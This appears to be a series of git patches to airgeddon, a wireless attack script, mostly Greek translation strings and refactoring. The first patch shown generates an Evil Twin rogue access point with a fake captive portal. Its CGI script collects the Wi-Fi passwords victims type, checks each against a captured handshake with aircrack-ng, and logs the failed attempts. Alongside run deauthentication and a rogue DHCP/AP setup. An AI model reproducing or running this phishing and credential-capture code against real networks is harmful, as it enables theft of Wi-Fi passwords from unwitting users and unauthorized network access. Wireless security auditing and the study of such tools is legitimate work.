"${msg_good_pass} $(cat ${success_pass_path} 2> /dev/null)" >> ${log_path} + attempts_number=$(cat $attempts_path 2> /dev/null | wc -l) + et_password=$(cat $success_pass_path 2> /dev/null) + echo -e "\t$et_password" + echo + echo -e "\t$log_reminder_msg" + echo + echo -e "\t$done_msg" + if [ $attempts_number -gt 0 ]; then + EOF + + cat >&7 <<-EOF + echo "" >> "${et_captive_portal_logpath}" + echo "---------------" >> "${et_captive_portal_logpath}" + echo "" >> "${et_captive_portal_logpath}" + echo "${et_misc_texts[$language,22]}:" >> "${et_captive_portal_logpath}" + echo "" >> "${et_captive_portal_logpath}" + readarray -t BADPASSWORDS < <(cat "${tmpdir}${webdir}${attemptsfile}") + EOF + + cat >&7 <<-'EOF' + for badpass in "${BADPASSWORDS[@]}"; do + echo $badpass >> \ + EOF + + cat >&7 <<-EOF + "${et_captive_portal_logpath}" + done + fi + + killall hostapd > /dev/null 2>&1 + killall dhcpd > /dev/null 2>&1 + killall aireplay-ng > /dev/null 2>&1 + killall lighttpd > /dev/null 2>&1 + kill_et_windows + exit 0 + } + fi + EOF + + cat >&7 <<-'EOF' date_counter=`date +%s` while true; do EOF @@ -5286,37 +5449,72 @@ function set_control_script() { ;; esac - cat >&3 <<-EOF + cat >&7 <<-EOF echo -e "\t${yellow_color}${et_misc_texts[$language,0]}" echo -e "\t${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${et_misc_texts[$language,1]}: ${normal_color}${channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}" echo echo -e "\t${green_color}${et_misc_texts[$language,2]}${normal_color}" EOF - cat >&3 <<-'EOF' + cat >&7 <<-'EOF' hours=$(date -u --date @$((`date +%s` - ${date_counter})) +%H) mins=$(date -u --date @$((`date +%s` - ${date_counter})) +%M) secs=$(date -u --date @$((`date +%s` - ${date_counter})) +%S) echo -e "\t$hours:$mins:$secs" EOF - cat >&3 <<-EOF + cat >&7 <<-EOF echo -e "\t${pink_color}${control_msg}${normal_color}\n" + if [ "${et_mode}" = "et_captive_portal" ]; then + if [ -f "${tmpdir}${webdir}${successfile}" ]; then + clear + echo -e "\t${yellow_color}${et_misc_texts[$language,0]}" + echo -e "\t${blue_color}BSSID: ${normal_color}${bssid} ${yellow_color}// ${blue_color}${et_misc_texts[$language,1]}: ${normal_color}${channel} ${yellow_color}// ${blue_color}ESSID: ${normal_color}${essid}" + echo + echo -e "\t${green_color}${et_misc_texts[$language,2]}${normal_color}" + EOF + + cat >&7 <<-'EOF' + echo -e "\t$hours:$mins:$secs" + echo + finish_evil_twin + else + attempts_number=$(cat $attempts_path 2> /dev/null | wc -l) + last_password=$(grep "." $attempts_path 2> /dev/null | tail -1) + tput el && echo -ne "\t$attempts_text $attempts_number" + if [ $attempts_number -gt 0 ]; then + EOF + + cat >&7 <<-EOF + open_parenthesis="${yellow_color}(${normal_color}" + close_parenthesis="${yellow_color})${normal_color}" + EOF + + cat >&7 <<-'EOF' + echo -ne " $open_parenthesis $last_password_msg $last_password $close_parenthesis" + fi + fi + fi + EOF + + cat >&7 <<-EOF + echo + echo echo -e "\t${green_color}${et_misc_texts[$language,3]}${normal_color}" readarray -t DHCPCLIENTS < <(cat "${tmpdir}clts.txt" | grep DHCPACK) client_ips=() EOF - cat >&3 <<-'EOF' + cat >&7 <<-'EOF' if [[ -z "${DHCPCLIENTS[@]}" ]]; then EOF - cat >&3 <<-EOF + cat >&7 <<-EOF echo -e "\t${et_misc_texts[$language,7]}" else EOF - cat >&3 <<-'EOF' + cat >&7 <<-'EOF' for client in "${DHCPCLIENTS[@]}"; do [[ ${client} =~ ^DHCPACK[[:space:]]on[[:space:]]([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})[[:space:]]to[[:space:]](([a-fA-F0-9]{2}:?){5,6}).* ]] && client_ip="${BASH_REMATCH[1]}" && client_mac="${BASH_REMATCH[2]}" if [[ " ${client_ips[*]} " != *" $client_ip "* ]]; then @@ -5336,7 +5534,8 @@ function set_control_script() { done EOF - exec 3>&- + exec 7>&- + sleep 1 } function launch_control_window() { @@ -5354,7 +5553,7 @@ function launch_control_window() { ;; esac xterm -hold -bg black -fg white -geometry ${control_scr_window_position} -T "Control" -e "bash \"$tmpdir$control_file\"" > /dev/null 2>&1 & - et_processes+=($!) + et_process_control_window=$! } function set_webserver_config() { @@ -5363,15 +5562,12 @@ function set_webserver_config() { echo -e "server.document-root = \"$tmpdir$webdir\"\n" > "$tmpdir$webserver_file" echo -e "server.modules = (" >> "$tmpdir$webserver_file" - echo -e "\"mod_cgi\"," >> "$tmpdir$webserver_file" - echo -e "\"mod_rewrite\"," >> "$tmpdir$webserver_file" - echo -e "\"mod_redirect\"" >> "$tmpdir$webserver_file" + echo -e "\"mod_cgi\"" >> "$tmpdir$webserver_file" echo -e ")\n" >> "$tmpdir$webserver_file" echo -e "server.port = 80\n" >> "$tmpdir$webserver_file" echo -e "index-file.names = ( \"$indexfile\" )\n" >> "$tmpdir$webserver_file" echo -e "server.error-handler-404 = \"/\"\n" >> "$tmpdir$webserver_file" echo -e "mimetype.assign = (" >> "$tmpdir$webserver_file" - echo -e "\".html\" => \"text/html\"," >> "$tmpdir$webserver_file" echo -e "\".css\" => \"text/css\"," >> "$tmpdir$webserver_file" echo -e "\".js\" => \"text/javascript\"" >> "$tmpdir$webserver_file" echo -e ")\n" >> "$tmpdir$webserver_file" @@ -5480,9 +5676,9 @@ function set_captive_portal_page() { echo -e "echo ''" >> "$tmpdir$webdir$indexfile" echo -e "exit 0" >> "$tmpdir$webdir$indexfile" - exec 6>"$tmpdir$webdir$checkfile" + exec 4>"$tmpdir$webdir$checkfile" - cat >&6 <<-EOF + cat >&4 <<-EOF #!/bin/bash echo -e 'Content-type: text/html\n' echo '' @@ -5498,32 +5694,66 @@ function set_captive_portal_page() { echo -e '\t\t\t

' EOF - #TODO filter <>&*?./ chars to prevent hacker attacks - #maybe | sed -r "s/[<>*/&?.'\"]+//g" - cat >&6 <<-'EOF' + cat >&4 <<-'EOF' POST_DATA=$(cat /dev/stdin) - [[ "$REQUEST_METHOD" = "POST" ]] && [[ ${CONTENT_LENGTH} -gt 0 ]] && [[ ${POST_DATA} =~ ^password=(.*)$ ]] && password="${BASH_REMATCH[1]}" + if [[ "$REQUEST_METHOD" = "POST" ]] && [[ ${CONTENT_LENGTH} -gt 0 ]]; then + POST_DATA=${POST_DATA#*=} + password=${POST_DATA/+/ } + password=${password//[*&\/?<>]} + password=$(printf '%b' "${password//%/\\x}") + password=${password//[*&\/?<>]} + fi + if [[ ${#password} -ge 8 ]] && [[ ${#password} -le 63 ]]; then - echo "${password}" >> \ EOF - cat >&6 <<-EOF - "${tmpdir}${webdir}${attemptsfile}" - et_successful=1 + cat >&4 <<-EOF + rm -rf "${tmpdir}${webdir}${currentpassfile}" > /dev/null 2>&1 + EOF + + cat >&4 <<-'EOF' + echo "${password}" > \ + EOF + + cat >&4 <<-EOF + "${tmpdir}${webdir}${currentpassfile}" + aircrack-ng -a 2 -b ${bssid} -w "${tmpdir}${webdir}${currentpassfile}" "${et_handshake}" | grep "KEY FOUND!" > /dev/null + EOF + + cat >&4 <<-'EOF' + if [ "$?" = "0" ]; then + EOF + + cat >&4 <<-EOF + touch "${tmpdir}${webdir}${successfile}" + echo '${et_misc_texts[$captive_portal_language,18]}' + et_successful=1 + else + EOF + + cat >&4 <<-'EOF' + echo "${password}" >> \ + EOF + + cat >&4 <<-EOF + "${tmpdir}${webdir}${attemptsfile}" + echo '${et_misc_texts[$captive_portal_language,17]}' + et_successful=0 + fi + EOF + + cat >&4 <<-EOF else echo '${et_misc_texts[$captive_portal_language,14]}' et_successful=0 fi - EOF - - cat >&6 <<-EOF echo -e '\t\t\t

' echo -e '\t\t' echo -e '\t' echo '' EOF - cat >&6 <<-'EOF' + cat >&4 <<-'EOF' if [ ${et_successful} -eq 1 ]; then exit 0 else @@ -5534,7 +5764,7 @@ function set_captive_portal_page() { fi EOF - exec 6>&- + exec 4>&- sleep 3 } @@ -5609,11 +5839,19 @@ function parse_ettercap_log() { language_strings ${language} 115 "read" } +function write_et_processes() { + + for item in ${et_processes[@]}; do + echo ${item} >> "${tmpdir}${webdir}${processesfile}" + done +} + function kill_et_windows() { for item in ${et_processes[@]}; do kill ${item} &> /dev/null done + kill ${et_process_control_window} &> /dev/null } function convert_cap_to_hashcat_format() { From d0203db82565f77aae76da3d7a9bb57ddc740c7e Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 2 Oct 2016 11:33:31 +0200 Subject: [PATCH 07/23] Some PoT greek translations added --- airgeddon.sh | 38 ++++++++++++++++++++++++-------------- 1 file changed, 24 insertions(+), 14 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index a92ab8b24..62b208667 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2941,18 +2941,20 @@ function language_strings() { arr["greek",309]="Η τεχνική sslstrip δεν είναι αλάνθαστη. Εξαρτάται από πολλούς παράγοντες και δεν δουλεύει πάντα. Κάποιοι περιηγητές όπως οι τελευταίες εκδόσεις του Mozilla Firefox δεν επηρεάζονται" arr["english",310]="Handshake file selected: "${pink_color}"None"${normal_color} - arr["spanish",310]="Fichero de handshake seleccionado: "${pink_color}"Ninguno"${normal_color} + arr["spanish",310]="Fichero de Handshake seleccionado: "${pink_color}"Ninguno"${normal_color} arr["french",310]="Fichier Handshake sélectionné: "${pink_color}"Aucun"${normal_color} - arr["catalan",310]="Fitxer de handshake seleccionat: "${pink_color}"Ningú"${normal_color} + arr["catalan",310]="Fitxer de Handshake seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",310]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"Nenhum"${normal_color} - arr["russian",310]="$pending_of_translation Выбран рукопожатием файл: "${pink_color}"None"${normal_color} + arr["russian",310]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"None"${normal_color} + arr["greek",310]="$pending_of_translation Αρχείο χειραψία επιλεγμένα: "${pink_color}"Κανένα"${normal_color} arr["english",311]="Handshake file selected: "${pink_color}"$et_handshake"${normal_color} - arr["spanish",311]="Fichero de handshake seleccionado: "${pink_color}"$et_handshake"${normal_color} - arr["french",311]="Fichier handshake sélectionnée: "${pink_color}"$et_handshake"${normal_color} - arr["catalan",311]="Fitxer de handshake seleccionat: "${pink_color}"$et_handshake"${normal_color} - arr["portuguese",311]="$pending_of_translation Arquivo handshake selecionado: "${pink_color}"$et_handshake"${normal_color} - arr["russian",311]="$pending_of_translation Выбран рукопожатием файл: "${pink_color}"$et_handshake"${normal_color} + arr["spanish",311]="Fichero de Handshake seleccionado: "${pink_color}"$et_handshake"${normal_color} + arr["french",311]="Fichier Handshake sélectionnée: "${pink_color}"$et_handshake"${normal_color} + arr["catalan",311]="Fitxer de Handshake seleccionat: "${pink_color}"$et_handshake"${normal_color} + arr["portuguese",311]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$et_handshake"${normal_color} + arr["russian",311]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"$et_handshake"${normal_color} + arr["greek",311]="$pending_of_translation Αρχείο χειραψία επιλεγμένα: "${pink_color}"$et_handshake"${normal_color} arr["english",312]="No selected Handshake file detected during this session..." arr["spanish",312]="No se ha detectado ningún fichero de Handshake seleccionado en esta sesión..." @@ -2960,6 +2962,7 @@ function language_strings() { arr["catalan",312]="No s'ha detectat un fitxer de Handshake seleccionat en aquesta sessió..." arr["portuguese",312]="$pending_of_translation Não é detectado arquivo Handshake selecionado nesta sessão..." arr["russian",312]="$pending_of_translation не обнаружен Рукопожатие файл, выбранный в этой сессии..." + arr["greek",312]="$pending_of_translation δεν έχει εντοπιστεί το αρχείο Χειραψία επιλεγεί σε αυτή τη σύνοδο..." arr["english",313]="Handshake selected file detected during this session ["${normal_color}"$et_handshake"${blue_color}"]" arr["spanish",313]="Se ha detectado un fichero de Handshake seleccionado en esta sesión ["${normal_color}"$et_handshake"${blue_color}"]" @@ -2967,20 +2970,23 @@ function language_strings() { arr["catalan",313]="S'ha detectat un fitxer de Handshake seleccionat en aquesta sessió ["${normal_color}"$et_handshake"${blue_color}"]" arr["portuguese",313]="$pending_of_translation Arquivo Handshake detectado selecionado nesta sessão ["${normal_color}"$et_handshake"${blue_color}"]" arr["russian",313]="$pending_of_translation Обнаружен файл Рукопожатие выбран в этой сессии ["${normal_color}"$et_handshake"${blue_color}"]" + arr["greek",313]="$pending_of_translation Εντοπίστηκε αρχείο Χειραψία επιλεγεί σε αυτή τη σύνοδο ["${normal_color}"$et_handshake"${blue_color}"]" arr["english",314]="Handshake file selected: "${pink_color}"$enteredpath"${normal_color} - arr["spanish",314]="Fichero de handshake seleccionado: "${pink_color}"$enteredpath"${normal_color} - arr["french",314]="Fichier handshake sélectionné: "${pink_color}"$enteredpath"${normal_color} - arr["catalan",314]="Fitxer de handshake seleccionat: "${pink_color}"$enteredpath"${normal_color} - arr["portuguese",314]="$pending_of_translation Arquivo handshake selecionado: "${pink_color}"$enteredpath"${normal_color} - arr["russian",314]="$pending_of_translation Выбран рукопожатием файл: "${pink_color}"$enteredpath"${normal_color} + arr["spanish",314]="Fichero de Handshake seleccionado: "${pink_color}"$enteredpath"${normal_color} + arr["french",314]="Fichier Handshake sélectionné: "${pink_color}"$enteredpath"${normal_color} + arr["catalan",314]="Fitxer de Handshake seleccionat: "${pink_color}"$enteredpath"${normal_color} + arr["portuguese",314]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$enteredpath"${normal_color} + arr["russian",314]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"$enteredpath"${normal_color} + arr["greek",314]="$pending_of_translation Αρχείο χειραψία επιλεγμένα: "${pink_color}"$enteredpath"${normal_color} arr["english",315]="This attack requires that you have previously a WPA/WPA2 network captured Handshake file. Network data for the attack will be obtained from the file" arr["spanish",315]="Este ataque requiere que tengas capturado previamente un fichero de Handshake de una red WPA/WPA2. Los datos de la red para el ataque serán obtenidos del fichero" - arr["french",315]="Vous devez déjà avoir capturé un handshke WPA/WPA2 pour pouvoir lancer cette attaque. Les données employées pour l'attaque proviennent du fichier de captures" + arr["french",315]="Vous devez déjà avoir capturé un Handshke WPA/WPA2 pour pouvoir lancer cette attaque. Les données employées pour l'attaque proviennent du fichier de captures" arr["catalan",315]="Aquest atac requereix que tinguis capturat prèviament un fitxer de Handshake d'una xarxa WPA/WPA2. Les dades de la xarxa per a l'atac seran obtinguts del fitxer" arr["portuguese",315]="$pending_of_translation Este ataque requer que você já capturou um arquivo a partir de uma rede Handshake WPA/WPA2. Rede de dados para o ataque ser obtido a partir do ficheiro" arr["russian",315]="$pending_of_translation Эта атака требует, чтобы вы ранее захватили файл из сети Рукопожатие WPA/WPA2. Сеть передачи данных для атаки можно получить из файла" + arr["greek",315]="$pending_of_translation Η επίθεση αυτή προϋποθέτει ότι έχετε συλληφθεί στο παρελθόν αρχείο χειραψία ένα δίκτυο WPA/WPA2. Δίκτυο δεδομένων για την επίθεση να ληφθεί από το αρχείο" arr["english",316]="For this attack is automatically selected Aireplay deauth method" arr["spanish",316]="Para este ataque se ha seleccionado automáticamente el método de desautenticación Aireplay" @@ -2988,6 +2994,7 @@ function language_strings() { arr["catalan",316]="Per aquest atac s'ha seleccionat automàticament el mètode de desautenticació Aireplay" arr["portuguese",316]="$pending_of_translation Para este ataque é selecionado automaticamente o método deauth Aireplay" arr["russian",316]="$pending_of_translation Для этой атаки автоматически выбирается метод deauth Aireplay" + arr["greek",316]="$pending_of_translation Για την επίθεση αυτή επιλέγεται αυτόματα τη μέθοδο deauth Aireplay" arr["english",317]="If the password for the wifi network is achieved with the captive portal, you must decide where to save it. "${green_color}"Type the path to store the file or press Enter to accept the default proposal "${normal_color}"[$default_et_captive_portal_logpath]" arr["spanish",317]="Si se consigue la contraseña de la red wifi con el portal cautivo, hay que decidir donde guardarla. "${green_color}"Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$default_et_captive_portal_logpath]" @@ -2995,6 +3002,7 @@ function language_strings() { arr["catalan",317]="$pending_of_translation Si s'aconsegueix la contrasenya de la xarxa wifi amb el portal captiu, cal decidir on guardar-la. "${green_color}"Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte "${normal_color}"[$default_et_captive_portal_logpath]" arr["portuguese",317]="$pending_of_translation Se a senha da rede wifi com o portal cativo é alcançado, decidir onde para salvar. "${green_color}"Digite o caminho onde armazenar o arquivo ou pressione Enter para aceitar as propostas padrão "${normal_color}"[$default_et_captive_portal_logpath]" arr["russian",317]="$pending_of_translation Если пароль для беспроводной сети с адаптивным порталом достигается, решить, куда сохранить. "${green_color}"Напечатайте путь до файла для сохранения или нажмите Enter для принятия предложения по умолчанию "${normal_color}"[$default_et_captive_portal_logpath]" + arr["greek",317]="$pending_of_translation Εάν επιτευχθεί ο κωδικός πρόσβασης για το ασύρματο δίκτυο με την αιχμαλωσία πύλη, να αποφασίσει πού να αποθηκεύσετε. "${green_color}"Πληκτρολογήστε τη διαδρομή όπου αποθηκεύουμε το αρχείο ή πατήστε Enter για να αποδεχτείτε την προτεινόμενη προεπιλογή "${normal_color}"[$default_et_captive_portal_logpath]" arr["english",318]="Choose the language in which network clients will see the captive portal :" arr["spanish",318]="Elige el idioma en el que los clientes de la red verán el portal cautivo :" @@ -3002,6 +3010,7 @@ function language_strings() { arr["catalan",318]="$pending_of_translation Tria l'idioma en el qual els clients de la xarxa veuran el portal captiu :" arr["portuguese",318]="$pending_of_translation Escolha o idioma em que os clientes da rede verá o portal cativo :" arr["russian",318]="$pending_of_translation Выберите язык, на котором клиенты сети будут видеть адаптивный портал :" + arr["greek",318]="$pending_of_translation Επιλέξτε τη γλώσσα στην οποία οι πελάτες του δικτύου θα δείτε την αιχμαλωσία πύλη :" arr["english",319]="The captive portal language has been established" arr["spanish",319]="Se ha establecido el idioma del portal cautivo" @@ -3009,6 +3018,7 @@ function language_strings() { arr["catalan",319]="$pending_of_translation S'ha establert l'idioma del portal captiu" arr["portuguese",319]="$pending_of_translation A língua foi estabelecida portal cativo" arr["russian",319]="$pending_of_translation Язык был создан адаптивный портал" + arr["greek",319]="$pending_of_translation Η γλώσσα έχει καθιερωθεί αιχμαλωσία πύλη" arr["english",320]="7. Greek" arr["spanish",320]="7. Griego" From cec494b29dfafc054364f719bb6afe1b2e5ada76 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 2 Oct 2016 11:39:21 +0200 Subject: [PATCH 08/23] else if transformed to elif on three places --- airgeddon.sh | 53 +++++++++++++++++++++++++--------------------------- 1 file changed, 25 insertions(+), 28 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 62b208667..5bd490abb 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3572,18 +3572,17 @@ function select_internet_interface() { read inet_iface if [ -z ${inet_iface} ]; then invalid_internet_iface_selected - else if [[ ${inet_iface} < 1 ]] || [[ ${inet_iface} > ${option_counter} ]]; then + elif [[ ${inet_iface} < 1 ]] || [[ ${inet_iface} > ${option_counter} ]]; then invalid_internet_iface_selected - else - option_counter2=0 - for item2 in ${inet_ifaces}; do - option_counter2=$[option_counter2 + 1] - if [[ "$inet_iface" = "$option_counter2" ]]; then - internet_interface=${item2} - break; - fi - done - fi + else + option_counter2=0 + for item2 in ${inet_ifaces}; do + option_counter2=$[option_counter2 + 1] + if [[ "$inet_iface" = "$option_counter2" ]]; then + internet_interface=${item2} + break + fi + done fi } @@ -3616,18 +3615,17 @@ function select_interface() { read iface if [ -z ${iface} ]; then invalid_iface_selected - else if [[ ${iface} < 1 ]] || [[ ${iface} > ${option_counter} ]]; then - invalid_iface_selected - else - option_counter2=0 - for item2 in ${ifaces}; do - option_counter2=$[option_counter2 + 1] - if [[ "$iface" = "$option_counter2" ]]; then - interface=${item2} - break; - fi - done - fi + elif [[ ${iface} < 1 ]] || [[ ${iface} > ${option_counter} ]]; then + invalid_iface_selected + else + option_counter2=0 + for item2 in ${ifaces}; do + option_counter2=$[option_counter2 + 1] + if [[ "$iface" = "$option_counter2" ]]; then + interface=${item2} + break + fi + done fi } @@ -3696,11 +3694,10 @@ function ask_essid() { if [ -z "$essid" ]; then read_essid - else if [ "$essid" = "(Hidden Network)" ]; then - echo - language_strings ${language} 30 "yellow" - read_essid - fi + elif [ "$essid" = "(Hidden Network)" ]; then + echo + language_strings ${language} 30 "yellow" + read_essid fi echo From 0a87d1763fb7213a6f56694cf154d1c60bee2ff1 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 4 Oct 2016 23:44:08 +0200 Subject: [PATCH 09/23] Evil Twin capture portal flux changed --- airgeddon.sh | 473 +++++++++++++++++++++++++++++++++------------------ 1 file changed, 308 insertions(+), 165 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 5bd490abb..bd293eade 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3,7 +3,7 @@ airgeddon_version="4.3" #Enabled 1 / Disabled 0 - Debug mode for faster development skipping intro and initial checks - Default value 0 -debug_mode=0 +debug_mode=1 #Enabled 1 / Disabled 0 - Auto update feature (it has no effect on debug mode) - Default value 1 auto_update=1 @@ -334,7 +334,7 @@ function language_strings() { et_misc_texts["english",10]="Enter your wireless network password to get internet access" et_misc_texts["spanish",10]="Introduzca su contraseña de acceso a la red inalámbrica para poder acceder a internet" et_misc_texts["french",10]="Entrez votre accès d'aile de mot de passe du réseau sans fil d'accès à internet" - et_misc_texts["catalan",10]="Introduïu la contrasenya d'accés ala xarxa sense fils per poder accedir a internet" + et_misc_texts["catalan",10]="Introduïu la contrasenya d'accés a la xarxa sense fils per poder accedir a internet" et_misc_texts["portuguese",10]="Digite sua senha de acesso de rede asa sem fio para acesso à internet" et_misc_texts["russian",10]="Введите свой беспроводной доступ к сети Интернет доступа пароль крыло" et_misc_texts["greek",10]="Εισάγετε ασύρματη πρόσβαση στο κωδικό πρόσβασης δικτύου πτέρυγα σας να έχουν πρόσβαση στο διαδίκτυο" @@ -398,7 +398,7 @@ function language_strings() { et_misc_texts["english",18]="The password is correct, the connection will be restablished in a few moments" et_misc_texts["spanish",18]="La contraseña es correcta, la conexión se restablecerá en unos momentos" et_misc_texts["french",18]="Le mot de passe est correct, la connexion sera établie dans quelques instants" - et_misc_texts["catalan",18]="La contrasenya és correcta, la connexió es restableix en uns moments" + et_misc_texts["catalan",18]="La contrasenya és correcta, la connexió es restablirà en uns moments" et_misc_texts["portuguese",18]="A senha está correta, a conexão será estabelecida em alguns momentos" et_misc_texts["russian",18]="Пароль правильный, то соединение будет установлено через несколько минут" et_misc_texts["greek",18]="Ο κωδικός πρόσβασης είναι σωστός, η σύνδεση θα δημιουργηθεί σε λίγα λεπτά" @@ -1345,7 +1345,7 @@ function language_strings() { arr["french",110]="Les outils essentiels nécessaires au bon fonctionnement du programme sont tous présents dans votre système. Le script peut continuer..." arr["catalan",110]="La teva distro té totes les eines essencials necessàries. El script pot continuar..." arr["portuguese",110]="Sua distro tem as ferramentas essenciais. O script pode continuar..." - arr["russian",110]="Ваша система имеет все необходимые основные инструменты..." + arr["russian",110]="Ваша система имеет все необходимые основные инструменты. Скрипт может продолжать..." arr["greek",110]="Η διανομή σας έχει όλα τα απαραίτητα εργαλεία. Το script μπορεί να συνεχίσει..." arr["english",111]="You need to install some essential tools before running this script" @@ -2564,13 +2564,13 @@ function language_strings() { arr["russian",262]="без сниффинга, перехватывающий портал" arr["greek",262]="χωρίς sniffing, αιχμαλωσία πύλης" - arr["english",263]="8. Evil Twin AP attack with captive portal" - arr["spanish",263]="8. Ataque Evil Twin AP con portal cautivo" - arr["french",263]="8. Attaque Evil Twin avec portail captif" - arr["catalan",263]="8. Atac Evil Twin AP amb portal captiu" - arr["portuguese",263]="8. Ataque Evil Twin AP com portal cativo" - arr["russian",263]="8. Атака Злой Двойник ТД с перехватывающим порталом" - arr["greek",263]="8. Επίθεση Evil Twin AP με αιχμαλωσία πύλης" + arr["english",263]="8. Evil Twin AP attack with captive portal (monitor mode needed)" + arr["spanish",263]="8. Ataque Evil Twin AP con portal cautivo (modo monitor requerido)" + arr["french",263]="8. Attaque Evil Twin avec portail captif (mode moniteur nécessaire)" + arr["catalan",263]="8. Atac Evil Twin AP amb portal captiu (es requereix mode monitor)" + arr["portuguese",263]="8. Ataque Evil Twin AP com portal cativo (modo monitor obrigatório)" + arr["russian",263]="8. Атака Злой Двойник ТД с перехватывающим порталом (необходим режим монитора)" + arr["greek",263]="8. Επίθεση Evil Twin AP με αιχμαλωσία πύλης (χρειάζεται η κατάσταση παρακολούθησης)" arr["english",264]="The captive portal attack tries to one of the network clients provide us the password for the wifi network by entering it on our portal" arr["spanish",264]="El ataque del portal cautivo intentará conseguir que uno de los clientes de la red nos proporcione la contraseña de la red wifi introduciéndola en nuestro portal" @@ -2748,13 +2748,13 @@ function language_strings() { arr["russian",285]="Во время этой сессии обнаружен выбранный интерфейс с Интернет подключением ["${normal_color}"$internet_interface"${blue_color}"]" arr["greek",285]="Η επιλεγμένη διεπαφή με πρόσβαση στο διαδίκτυο εντοπίστηκε κατά τη διάρκεια της συνεδρίας ["${normal_color}"$internet_interface"${blue_color}"]" - arr["english",286]="If you don't have a captured Handshake file from the target network you can get it using this script choosing the appropriate submenu option before coming here to launch this attack" - arr["spanish",286]="Si no tienes un fichero de Handshake capturado de la red objetivo puedes obtenerlo con este script en el submenú adecuado antes de venir aquí a lanzar este ataque" - arr["french",286]="Si vous ne disposez pas d'un fichier avec un Handshake provenant du réseau cible, vous pouvez effectuer l'attaque pour l'obtenir depuis le sous menu dédiée et revenir ensuite ici" - arr["catalan",286]="Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-lo amb aquest script en el submenú adequat abans de venir aquí a llançar aquest atac" - arr["portuguese",286]="$pending_of_translation Se você não tem um arquivo handshake capturado a partir do alvo da rede pode obtê-lo com este script no submenu apropriado antes de vir aqui para lançar este ataque" - arr["russian",286]="$pending_of_translation Если у вас нет файла квитирующего захваченного из целевой сети может получить его с помощью этого сценария в соответствующем подменю до приезда сюда, чтобы запустить эту атаку" - arr["greek",286]="$pending_of_translation Εάν δεν έχετε ένα αρχείο χειραψία συλλαμβάνεται από τον στόχο του δικτύου μπορεί να το πάρει με αυτό το σενάριο στο κατάλληλο υπομενού πριν έρθει εδώ για να ξεκινήσει αυτή την επίθεση" + arr["english",286]="If you don't have a captured Handshake file from the target network you can get it now" + arr["spanish",286]="Si no tienes un fichero de Handshake capturado de la red objetivo puedes obtenerlo ahora" + arr["french",286]="$pending_of_translation Si vous ne disposez pas d'un réseau cible fichier capturé poignée de main, vous pouvez l'obtenir maintenant" + arr["catalan",286]="$pending_of_translation Si no tens un fitxer de Handshake capturat de la xarxa objectiu pots obtenir-lo ara" + arr["portuguese",286]="$pending_of_translation Se você não tem uma rede alvo capturado arquivo Handshake você pode obtê-lo agora" + arr["russian",286]="$pending_of_translation Если вы не имеете рукопожатия файл захваченный целевой сети вы можете получить его прямо сейчас" + arr["greek",286]="$pending_of_translation Εάν δεν έχετε ένα αρχείο χειραψία συλλαμβάνονται από το δίκτυο στόχος μπορεί να το πάρει τώρα" arr["english",287]="The script will check for internet access. Please be patient..." arr["spanish",287]="El script va a comprobar si tienes acceso a internet. Por favor ten paciencia..." @@ -2980,26 +2980,26 @@ function language_strings() { arr["russian",314]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"$enteredpath"${normal_color} arr["greek",314]="$pending_of_translation Αρχείο χειραψία επιλεγμένα: "${pink_color}"$enteredpath"${normal_color} - arr["english",315]="This attack requires that you have previously a WPA/WPA2 network captured Handshake file. Network data for the attack will be obtained from the file" - arr["spanish",315]="Este ataque requiere que tengas capturado previamente un fichero de Handshake de una red WPA/WPA2. Los datos de la red para el ataque serán obtenidos del fichero" - arr["french",315]="Vous devez déjà avoir capturé un Handshke WPA/WPA2 pour pouvoir lancer cette attaque. Les données employées pour l'attaque proviennent du fichier de captures" - arr["catalan",315]="Aquest atac requereix que tinguis capturat prèviament un fitxer de Handshake d'una xarxa WPA/WPA2. Les dades de la xarxa per a l'atac seran obtinguts del fitxer" - arr["portuguese",315]="$pending_of_translation Este ataque requer que você já capturou um arquivo a partir de uma rede Handshake WPA/WPA2. Rede de dados para o ataque ser obtido a partir do ficheiro" - arr["russian",315]="$pending_of_translation Эта атака требует, чтобы вы ранее захватили файл из сети Рукопожатие WPA/WPA2. Сеть передачи данных для атаки можно получить из файла" - arr["greek",315]="$pending_of_translation Η επίθεση αυτή προϋποθέτει ότι έχετε συλληφθεί στο παρελθόν αρχείο χειραψία ένα δίκτυο WPA/WPA2. Δίκτυο δεδομένων για την επίθεση να ληφθεί από το αρχείο" - - arr["english",316]="For this attack is automatically selected Aireplay deauth method" - arr["spanish",316]="Para este ataque se ha seleccionado automáticamente el método de desautenticación Aireplay" - arr["french",316]="Avec cette attaque la méthode de desautentificacion est configurée automatiquement" - arr["catalan",316]="Per aquest atac s'ha seleccionat automàticament el mètode de desautenticació Aireplay" - arr["portuguese",316]="$pending_of_translation Para este ataque é selecionado automaticamente o método deauth Aireplay" - arr["russian",316]="$pending_of_translation Для этой атаки автоматически выбирается метод deauth Aireplay" - arr["greek",316]="$pending_of_translation Για την επίθεση αυτή επιλέγεται αυτόματα τη μέθοδο deauth Aireplay" + arr["english",315]="This attack requires that you have previously a WPA/WPA2 network captured Handshake file" + arr["spanish",315]="Este ataque requiere que tengas capturado previamente un fichero de Handshake de una red WPA/WPA2" + arr["french",315]="Vous devez déjà avoir capturé un Handshke WPA/WPA2 pour 